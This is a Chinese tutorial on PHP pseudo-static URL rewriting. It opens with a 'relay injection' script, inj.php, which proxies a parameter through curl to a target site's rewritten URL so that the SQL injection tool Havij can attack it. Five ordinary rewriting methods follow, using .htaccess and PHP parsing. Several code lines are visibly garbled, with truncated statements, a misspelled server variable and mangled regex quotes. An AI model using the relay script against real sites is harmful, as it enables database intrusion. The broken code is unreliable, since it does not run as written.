PHP 伪静态技术原理以及突破原理实现介绍

PHP 伪静态技术原理以及突破原理实现介绍

伪静态技术比较好突破,需要自己构造中转注入页面;伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式

先说实现方法:

inj.php:

复制代码 代码如下:

<?php

set_time_limit(10);

$id"];

$ ","%20",$id);

$=","%3D",$id);

$url="http://www.xxx.com/index.php/library/more/id/$id.html";

$ch=curl_init();

curl_setopt($ch,CURLOPT_URL,"$url");

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出

curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出

$output=curl_exec($ch);

curl_close($ch);

print_r($output);

?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1

=============================

PHP伪静态实现方法一(利用Apache 服务器的功能)

1、检查Apache是否支持mod_rewrite

2、让Apache 支持.htaccess

3、建立.htaccess文件

4、规则:

RewriteEngine on

RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2

([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样

$1 是([a-zA-Z]{1,}) 所匹配的

$2 是[0-9]{1,} 所匹配的

比如说:www.xx.com/page-18.html

真实的URL如下:

action = page

id = 18

============================

PHP伪静态实现方法二(编码实现)

$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]

echo $Php2Html_FileUrl

例子:// localhost/php100/test.php?id|1@action|2

复制代码 代码如下:

$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))

/*

内层的strrchr出来:/test.php?id|1@action|2

外层的strrchr出来:id|1@action|2

内层的str_replace出来:把 / 号去掉,本例子 没有

外层的str_replace出来:把 ?号去掉,本例子 没有

*/

$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);

/*把str变成以@为界限划分的数组:id|1 和 action|2*/

foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)

{

$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);

/* id => 1 和 action => 2*/

$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];

}

============================

PHP伪静态实现方法三(编码实现)

例子: localhost/php100/test.php/1/2

复制代码 代码如下:

$filename = basename($_SERVER["SCRIPT_NAME"]);

echo $_SERVER["SCRIPT_NAME"];

echo $filename;

if(strtolower($filename) == 'test.php'){

if(!empty($_GET[id])){

$id=intval($_GET[id]);

echo $id;

$action = intval($_GET[action]);

echo $action;

}else{

$nav=$_SERVER["REQUEST_URI"];

$script=$_SERVER["SRCIPT_NAME"];

//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。

$nav=ereg_replace("$script","",urldecode($nav));

echo $nav;

$vars = explode("/",$nav);

print_r($vars);

$id=intval($vars[1]);

$action=intval($vars[2]);

}

echo $id.'&'.$action;

}

============================

PHP伪静态实现方法四(编码实现)

复制代码 代码如下:

function mod_rewrite(){

global $_GET;

$nav = $_SERVER["REQUEST_URI"];

$script_name = $_SERVER["SCRIPT_NAME"]

$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);

$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html

$vars=explode("/",$nav);

print_r($vars);

for($i=0;$i<count($vars);$i+=2)

{

$_GET[$vars[$i]] = $vars[$i+1];

}

return $_GET;

}

============================

PHP伪静态实现方法五(编码实现)

例子:/1,100,8630.html

复制代码 代码如下:

if(preg_match(“//(d+),(d+),(d+).html/si”,$path_info,$arr_path)){

$gid =intval($arr_path[1]); //取得值1

$sid =intval($arr_path[2]); //取得值100

$softid =intval($arr_path[3]); //取得值8630

}

else

echo "Path:Error!";

总结下:

(1)伪静态技术比较好突破,需要自己构造中转注入页面。

(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。